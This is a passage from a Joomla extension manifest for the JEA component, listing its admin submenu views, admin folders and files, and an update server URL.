	<administration>
		<menu>com_jea</menu>
		<submenu>
			<menu img="icon"
view="properties">com_jea_properties</menu>
			<menu img="icon"
view="features">com_jea_features</menu>
			<menu img="icon"
view="tools">com_jea_tools</menu>
			<menu img="icon"
view="about">com_jea_about</menu>
		</submenu>

		<files folder="admin">
			<folder>controllers</folder>
			<folder>gateways</folder>
			<folder>helpers</folder>
			<folder>language</folder>
			<folder>layouts</folder>
			<folder>models</folder>
			<folder>sql</folder>
			<folder>tables</folder>
			<folder>views</folder>
			<filename>access.xml</filename>
			<filename>config.xml</filename>
			<filename>jea.php</filename>
			<filename>LICENCE.txt</filename>
			<filename>NEWS.txt</filename>
		</files>
	</administration>

	<!-- Updateserver definition -->
	<updateservers>
		<!-- Note: No spaces or linebreaks allowed between the server tags
-->
		<server type="extension" priority="1"
name="JEA Update
Site">http://jea.sphilip.com/update/com_jea.xml</server>
	</updateservers>
</extension>